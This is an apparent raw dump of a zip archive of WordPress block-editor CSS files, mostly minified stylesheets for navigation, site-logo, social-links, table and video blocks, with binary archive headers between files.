.components-dropdown,.wp-block-navigation-placeholder__actions>.components-button{margin-right:0}.wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr{background-color:#1e1e1e;border:0;height:100%;margin:auto 0;max-height:16px;min-height:1px;min-width:1px}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close{display:none}}.wp-block-navigation__responsive-container.is-menu-open{position:fixed;top:155px}@media (min-width:782px){.wp-block-navigation__responsive-container.is-menu-open{left:36px;top:93px}}@media (min-width:960px){.wp-block-navigation__responsive-container.is-menu-open{left:160px}}.is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:141px}.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{left:0;top:155px}@media (min-width:782px){.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{top:61px}}.is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:109px}body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open{bottom:0;left:0;right:0;top:0}.components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close,.components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{color:inherit;height:auto;padding:0}.components-heading.wp-block-navigation-off-canvas-editor__title{margin:0}.wp-block-navigation-off-canvas-editor__header{margin-bottom:8px}.is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender{margin-top:16px}@keyframes fadein{0%{opacity:0}to{opacity:1}}.wp-block-navigation__loading-indicator-container{padding:8px 12px}.wp-block-navigation .wp-block-navigation__uncontrolled-inner-blocks-loading-indicator{margin-top:0}@keyframes fadeouthalf{0%{opacity:1}to{opacity:.5}}.wp-block-navigation-delete-menu-button{justify-content:center;margin-bottom:16px;width:100%}.components-button.is-link.wp-block-navigation-manage-menus-button{margin-bottom:16px}.wp-block-navigation__overlay-menu-preview{align-items:center;background-color:#f0f0f0;display:flex;height:64px!important;justify-content:space-between;margin-bottom:12px;padding:0 24px;width:100%}.wp-block-navigation__overlay-menu-preview.open{background-color:#fff;box-shadow:inset 0 0 0 1px #e0e0e0;outline:1px solid #0000}.wp-block-navigation-placeholder__actions hr+hr,.wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty{display:none}.wp-block-navigation__navigation-selector{margin-bottom:16px;width:100%}.wp-block-navigation__navigation-selector-button{border:1px solid;justify-content:space-between;width:100%}.wp-block-navigation__navigation-selector-button__icon{flex:0 0 auto}.wp-block-navigation__navigation-selector-button__label{flex:0 1 auto;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.wp-block-navigation__navigation-selector-button--createnew{border:1px solid;margin-bottom:16px;width:100%}.wp-block-navigation__responsive-container-open.components-button{opacity:1}.wp-block-navigation__menu-inspector-controls{overflow-x:auto;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-width:thin;will-change:transform}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar{height:12px;width:12px}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-track{background-color:initial}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.wp-block-navigation__menu-inspector-controls:focus-within::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:focus::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:hover::-webkit-scrollbar-thumb{background-color:#949494}.wp-block-navigation__menu-inspector-controls:focus,.wp-block-navigation__menu-inspector-controls:focus-within,.wp-block-navigation__menu-inspector-controls:hover{scrollbar-color:#949494 #0000}@media (hover:none){.wp-block-navigation__menu-inspector-controls{scrollbar-color:#949494 #0000}}.wp-block-navigation__menu-inspector-controls__empty-message{margin-left:24px}.wp-block-navigation__overlay-menu-icon-toggle-group{margin-bottom:16px}.wp-block-navigation .block-list-appender{position:relative}.wp-block-navigation .has-child{cursor:pointer}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container{z-index:29}.wp-block-navigation .has-child.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child.is-selected>.wp-block-navigation__submenu-container{height:auto!important;min-width:200px!important;opacity:1!important;overflow:visible!important;visibility:visible!important;width:auto!important}.wp-block-navigation-item .wp-block-navigation-item__content{cursor:text}.wp-block-navigation-item.is-editing,.wp-block-navigation-item.is-selected{min-width:20px}.wp-block-navigation-item .block-list-appender{margin:16px auto 16px 16px}.wp-block-navigation-link__invalid-item{color:#000}.wp-block-navigation-link__placeholder{background-image:none!important;box-shadow:none!important;position:relative;text-decoration:none!important}.wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{-webkit-text-decoration:wavy underline;text-decoration:wavy underline;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none;text-underline-offset:.25rem}.wp-block-navigation-link__placeholder.wp-block-navigation-item__content{cursor:pointer}.link-control-transform{border-top:1px solid #ccc;padding:0 16px 8px}.link-control-transform__subheading{color:#1e1e1e;font-size:11px;font-weight:500;margin-bottom:1.5em;text-transform:uppercase}.link-control-transform__items{display:flex;justify-content:space-between}.link-control-transform__item{flex-basis:33%;flex-direction:column;gap:8px;height:auto}.wp-block-navigation-submenu{display:block}.wp-block-navigation-submenu .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container{height:auto!important;left:-1px;min-width:200px!important;opacity:1!important;position:absolute;top:100%;visibility:visible!important;width:auto!important}@media (min-width:782px){.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:100%;top:-1px}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{background:#0000;content:"";display:block;height:100%;position:absolute;right:100%;width:.5em}}.block-editor-block-list__block[data-type="core/nextpage"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-nextpage{display:block;text-align:center;white-space:nowrap}.wp-block-nextpage>span{background:#fff;border-radius:4px;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;padding:6px 8px;position:relative;text-transform:uppercase}.wp-block-nextpage:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%}.wp-block-navigation .wp-block-page-list,.wp-block-navigation .wp-block-page-list>div{background-color:inherit}.wp-block-navigation.items-justified-space-between .wp-block-page-list,.wp-block-navigation.items-justified-space-between .wp-block-page-list>div{display:contents;flex:1}.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list>div,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list>div{flex:inherit}.wp-block-navigation .wp-block-navigation__submenu-container>.wp-block-page-list{display:block}.wp-block-pages-list__item__link{pointer-events:none}@media (min-width:600px){.wp-block-page-list-modal{max-width:480px}}.wp-block-page-list-modal-buttons{display:flex;gap:12px;justify-content:flex-end}.wp-block-page-list .open-on-click:focus-within>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;visibility:visible;width:auto}.wp-block-page-list__loading-indicator-container{padding:8px 12px}.block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus{min-height:auto!important}.block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{opacity:1}.block-editor-block-list__block[data-empty=true]+.block-editor-block-list__block[data-empty=true]:not([data-custom-placeholder=true]) [data-rich-text-placeholder]{opacity:0}.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-left[style*="writing-mode: vertical-lr"],.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-right[style*="writing-mode: vertical-rl"]{rotate:180deg}.is-zoomed-out .block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{opacity:0}.wp-block-post-author__inspector-settings .components-base-control,.wp-block-post-author__inspector-settings .components-base-control:last-child{margin-bottom:0}.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{display:inline}.wp-block-pullquote.is-style-solid-color blockquote p{font-size:32px}.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{font-style:normal;text-transform:none}.wp-block-pullquote .wp-block-pullquote__citation{color:inherit}.wp-block-rss li a>div{display:inline}.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{flex:1 1 auto}.wp-block-rss .wp-block-rss{all:inherit;margin:0;padding:0}.wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper{margin:auto}.wp-block-search :where(.wp-block-search__button){align-items:center;border-radius:initial;display:flex;height:auto;justify-content:center;text-align:center}.wp-block-search__inspector-controls .components-base-control{margin-bottom:0}.block-editor-block-list__block[data-type="core/separator"]{padding-bottom:.1px;padding-top:.1px}.blocks-shortcode__textarea{background:#fff!important;border:1px solid #1e1e1e!important;border-radius:2px!important;box-shadow:none!important;box-sizing:border-box;color:#1e1e1e!important;font-family:Menlo,Consolas,monaco,monospace!important;font-size:16px!important;max-height:250px;padding:12px!important;resize:none}@media (min-width:600px){.blocks-shortcode__textarea{font-size:13px!important}}.blocks-shortcode__textarea:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid #0000!important}.wp-block-site-logo.aligncenter>div,.wp-block[data-align=center]>.wp-block-site-logo{display:table;margin-left:auto;margin-right:auto}.wp-block-site-logo a{pointer-events:none}.wp-block-site-logo .custom-logo-link{cursor:inherit}.wp-block-site-logo .custom-logo-link:focus{box-shadow:none}.wp-block-site-logo img{display:block;height:auto;max-width:100%}.wp-block-site-logo.is-transient{position:relative}.wp-block-site-logo.is-transient img{opacity:.3}.wp-block-site-logo.is-transient .components-spinner{left:50%;margin:0;position:absolute;top:50%;transform:translate(-50%,-50%)}.wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder{height:60px;width:60px}.wp-block-site-logo.wp-block-site-logo .components-resizable-box__container,.wp-block-site-logo.wp-block-site-logo>div{border-radius:inherit}.wp-block-site-logo.wp-block-site-logo .components-placeholder{align-items:center;border-radius:inherit;display:flex;height:100%;justify-content:center;min-height:48px;min-width:48px;padding:0;width:100%}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text,.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload{display:none}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;margin:auto;padding:0;position:relative;width:48px}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button>svg{color:inherit}.block-library-site-logo__inspector-media-replace-container{position:relative}.block-library-site-logo__inspector-media-replace-container .components-drop-zone__content-icon{display:none}.block-library-site-logo__inspector-media-replace-container button.components-button{box-shadow:inset 0 0 0 1px #ccc;color:#1e1e1e;display:block;height:40px;width:100%}.block-library-site-logo__inspector-media-replace-container button.components-button:hover{color:var(--wp-admin-theme-color)}.block-library-site-logo__inspector-media-replace-container button.components-button:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title{text-align:start;text-align-last:center;white-space:normal;word-break:break-all}.block-library-site-logo__inspector-media-replace-container .components-dropdown{display:block}.block-library-site-logo__inspector-media-replace-container img{aspect-ratio:1;border-radius:50%!important;box-shadow:inset 0 0 0 1px #0003;min-width:20px;width:20px}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview{display:flex;height:40px;padding:6px 12px}.wp-block-site-tagline__placeholder,.wp-block-site-title__placeholder{border:1px dashed;padding:1em 0}.wp-block-social-links .wp-social-link{line-height:0}.wp-block-social-link-anchor{align-items:center;background:none;border:0;box-sizing:border-box;color:currentColor;cursor:pointer;display:inline-flex;font-family:inherit;font-size:inherit;font-weight:inherit;height:auto;margin:0;opacity:1;padding:.25em}.wp-block-social-link-anchor:hover{transform:none}:root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link button){padding-left:.6666666667em;padding-right:.6666666667em}:root :where(.wp-block-social-links.is-style-logos-only .wp-social-link button){padding:0}.wp-block-social-link__toolbar_content_text{width:250px}.wp-block-social-links div.block-editor-url-input{display:inline-block;margin-left:8px}.wp-social-link:hover{transform:none}:root :where(.wp-block-social-links),:root :where(.wp-block-social-links.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link){padding:0}:root :where(.wp-block-social-links__social-placeholder .wp-social-link){padding:.25em}:root :where(.wp-block-social-links.is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link){padding-left:.6666666667em;padding-right:.6666666667em}.wp-block-social-links__social-placeholder{display:flex;list-style:none;opacity:.8}.wp-block-social-links__social-placeholder>.wp-social-link{margin-left:0!important;margin-right:0!important;padding-left:0!important;padding-right:0!important;visibility:hidden;width:0!important}.wp-block-social-links__social-placeholder>.wp-block-social-links__social-placeholder-icons{display:flex}.wp-block-social-links__social-placeholder .wp-social-link:before{border-radius:50%;content:"";display:block;height:1em;width:1em}.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link:before{background:currentColor}.wp-block-social-links .wp-block-social-links__social-prompt{cursor:default;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:24px;list-style:none;margin-bottom:auto;margin-top:auto;min-height:24px;padding-right:8px}.wp-block.wp-block-social-links.aligncenter,.wp-block[data-align=center]>.wp-block-social-links{justify-content:center}.block-editor-block-preview__content .components-button:disabled{opacity:1}.wp-social-link.wp-social-link__is-incomplete{opacity:.5}.wp-block-social-links .is-selected .wp-social-link__is-incomplete,.wp-social-link.wp-social-link__is-incomplete:focus,.wp-social-link.wp-social-link__is-incomplete:hover{opacity:1}.wp-block-social-links .block-list-appender{position:static}.wp-block-social-links .block-list-appender .block-editor-inserter{font-size:inherit}.wp-block-social-links .block-list-appender .block-editor-button-block-appender{font-size:inherit;height:1.5em;padding:0;width:1.5em}.block-editor-block-list__block[data-type="core/spacer"]:before{content:"";display:block;height:100%;min-height:8px;min-width:8px;position:absolute;width:100%;z-index:1}.block-library-spacer__resize-container.has-show-handle,.wp-block-spacer.is-hovered .block-library-spacer__resize-container,.wp-block-spacer.is-selected.custom-sizes-disabled{background:#0000001a}.is-dark-theme .block-library-spacer__resize-container.has-show-handle,.is-dark-theme .wp-block-spacer.is-hovered .block-library-spacer__resize-container,.is-dark-theme .wp-block-spacer.is-selected.custom-sizes-disabled{background:#ffffff26}.block-library-spacer__resize-container{clear:both}.block-library-spacer__resize-container:not(.is-resizing){height:100%!important;width:100%!important}.block-library-spacer__resize-container .components-resizable-box__handle:before{content:none}.block-library-spacer__resize-container.resize-horizontal{height:100%!important;margin-bottom:0}.wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{height:auto}.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{width:auto}.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{word-break:break-word}.wp-block[data-align=center]>.wp-block-table{text-align:initial}.wp-block[data-align=center]>.wp-block-table table{margin:0 auto}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table td.is-selected,.wp-block-table th.is-selected{border-color:var(--wp-admin-theme-color);border-style:double;box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.wp-block-table table.has-individual-borders td,.wp-block-table table.has-individual-borders th,.wp-block-table table.has-individual-borders tr,.wp-block-table table.has-individual-borders>*{border:1px solid}.blocks-table__placeholder-form.blocks-table__placeholder-form{align-items:flex-start;display:flex;flex-direction:column;gap:8px}@media (min-width:782px){.blocks-table__placeholder-form.blocks-table__placeholder-form{align-items:flex-end;flex-direction:row}}.blocks-table__placeholder-input{width:112px}.wp-block-tag-cloud .wp-block-tag-cloud{border:none;border-radius:inherit;margin:0;padding:0}.block-editor-template-part__selection-modal{z-index:1000001}.block-editor-template-part__selection-modal .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:1280px){.block-editor-template-part__selection-modal .block-editor-block-patterns-list{column-count:3}}.block-editor-template-part__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.block-library-template-part__selection-search{background:#fff;padding:16px 0;position:sticky;top:0;z-index:2}.block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted:after,.block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected:after,.block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after,.block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted:after,.block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected:after{outline-color:var(--wp-block-synced-color)}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.has-editable-outline:after{border:none}.wp-block-text-columns .block-editor-rich-text__editable:focus{outline:1px solid #ddd}.wp-block[data-align=center]>.wp-block-video{text-align:center}.wp-block-video{position:relative}.wp-block-video.is-transient video{opacity:.3}.wp-block-video .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.editor-video-poster-control .components-button{margin-right:8px}.block-library-video-tracks-editor{z-index:159990}.block-library-video-tracks-editor__track-list-track{padding-left:12px}.block-library-video-tracks-editor__single-track-editor-kind-select{max-width:240px}.block-library-video-tracks-editor__single-track-editor-edit-track-label,.block-library-video-tracks-editor__tracks-informative-message-title{color:#757575;display:block;font-size:11px;font-weight:500;margin-top:4px;text-transform:uppercase}.block-library-video-tracks-editor>.components-popover__content{width:360px}.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{padding:0}.block-library-video-tracks-editor__tracks-informative-message{padding:8px}.block-library-video-tracks-editor__tracks-informative-message-description{margin-bottom:0}.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:1280px){.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:3}}.block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{background:#fff;margin-bottom:-4px;padding:16px 0;position:sticky;top:0;transform:translateY(-4px);z-index:2}@media (min-width:600px){.wp-block-query__enhanced-pagination-modal{max-width:480px}}.block-editor-block-settings-menu__popover.is-expanded{overflow-y:scroll}.block-editor-block-settings-menu__popover .block-library-query-pattern__selection-content{height:100%}.block-editor-block-settings-menu__popover .block-editor-block-patterns-list{display:grid;grid-template-columns:1fr;grid-gap:12px;min-width:280px}@media (min-width:600px){.block-editor-block-settings-menu__popover .block-editor-block-patterns-list{grid-template-columns:1fr 1fr;min-width:480px}}.block-editor-block-settings-menu__popover .block-editor-block-patterns-list__list-item{margin-bottom:0}.wp-block[data-align=center]>.wp-block-query-pagination{justify-content:center}:where(.editor-styles-wrapper) .wp-block-query-pagination{max-width:100%}:where(.editor-styles-wrapper) .wp-block-query-pagination.block-editor-block-list__layout{margin:0}.wp-block-query-pagination-numbers a{text-decoration:underline}.wp-block-query-pagination-numbers .page-numbers{margin-right:2px}.wp-block-query-pagination-numbers .page-numbers:last-child{margin-right:0}.wp-block-post-featured-image .block-editor-media-placeholder{-webkit-backdrop-filter:none;backdrop-filter:none;z-index:1}.wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{align-items:center;display:flex;justify-content:center;min-height:200px;padding:0}.wp-block-post-featured-image .components-placeholder .components-form-file-upload,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload{display:none}.wp-block-post-featured-image .components-placeholder .components-button,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;margin:auto;padding:0;position:relative;width:48px}.wp-block-post-featured-image .components-placeholder .components-button>svg,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button>svg{color:inherit}.wp-block-post-featured-image .components-placeholder:where(.has-border-color),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color),.wp-block-post-featured-image img:where(.has-border-color){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]),.wp-block-post-featured-image img:where([style*=border-top-color]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]),.wp-block-post-featured-image img:where([style*=border-right-color]){border-right-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image img:where([style*=border-bottom-color]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]),.wp-block-post-featured-image img:where([style*=border-left-color]){border-left-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]),.wp-block-post-featured-image img:where([style*=border-width]){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]),.wp-block-post-featured-image img:where([style*=border-top-width]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]),.wp-block-post-featured-image img:where([style*=border-right-width]){border-right-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image img:where([style*=border-bottom-width]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]),.wp-block-post-featured-image img:where([style*=border-left-width]){border-left-style:solid}.wp-block-post-featured-image[style*=height] .components-placeholder{height:100%;min-height:48px;min-width:48px;width:100%}.wp-block-post-featured-image>a{pointer-events:none}.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-button,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__instructions,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__label{opacity:1;pointer-events:auto}.wp-block-post-featured-image.is-transient{position:relative}.wp-block-post-featured-image.is-transient img{opacity:.3}.wp-block-post-featured-image.is-transient .components-spinner{left:50%;position:absolute;top:50%;transform:translate(-50%,-50%)}div[data-type="core/post-featured-image"] img{display:block;height:auto;max-width:100%}.wp-block-post-comments-form *{pointer-events:none}.wp-block-post-comments-form .block-editor-warning *{pointer-events:auto}.wp-element-button{cursor:revert}.wp-element-button[role=textbox]{cursor:text}:root .editor-styles-wrapper .has-very-light-gray-background-color{background-color:#eee}:root .editor-styles-wrapper .has-very-dark-gray-background-color{background-color:#313131}:root .editor-styles-wrapper .has-very-light-gray-color{color:#eee}:root .editor-styles-wrapper .has-very-dark-gray-color{color:#313131}:root .editor-styles-wrapper .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .editor-styles-wrapper .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .editor-styles-wrapper .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .editor-styles-wrapper .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .editor-styles-wrapper .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .editor-styles-wrapper .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .editor-styles-wrapper .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:where(.editor-styles-wrapper) .has-regular-font-size{font-size:16px}:where(.editor-styles-wrapper) .has-larger-font-size{font-size:42px}:where(.editor-styles-wrapper) iframe:not([frameborder]){border:0}PK1Xd[/Q�@&dist/reusable-blocks/style-rtl.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.reusable-blocks-menu-items__convert-modal{z-index:1000001}PK1Xd[/Q�@"dist/reusable-blocks/style.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.reusable-blocks-menu-items__convert-modal{z-index:1000001}PK1Xd[�"t[["dist/reusable-blocks/style-rtl.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.reusable-blocks-menu-items__convert-modal{
  z-index:1000001;
}PK1Xd[�"t[[dist/reusable-blocks/style.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.reusable-blocks-menu-items__convert-modal{
  z-index:1000001;
}PK1Xd[��ӥ�%dist/format-library/style-rtl.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-editor-format-toolbar__image-popover{z-index:159990}.block-editor-format-toolbar__image-popover .block-editor-format-toolbar__image-container-content{padding:16px;width:260px}.block-editor-format-toolbar__link-container-content{align-items:center;display:flex}.block-editor-format-toolbar__link-container-value{flex-grow:1;flex-shrink:1;margin:7px;max-width:500px;min-width:150px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.block-editor-format-toolbar__link-container-value.has-invalid-link{color:#cc1818}.format-library__inline-color-popover [role=tabpanel]{padding:16px;width:260px}.block-editor-format-toolbar__language-popover 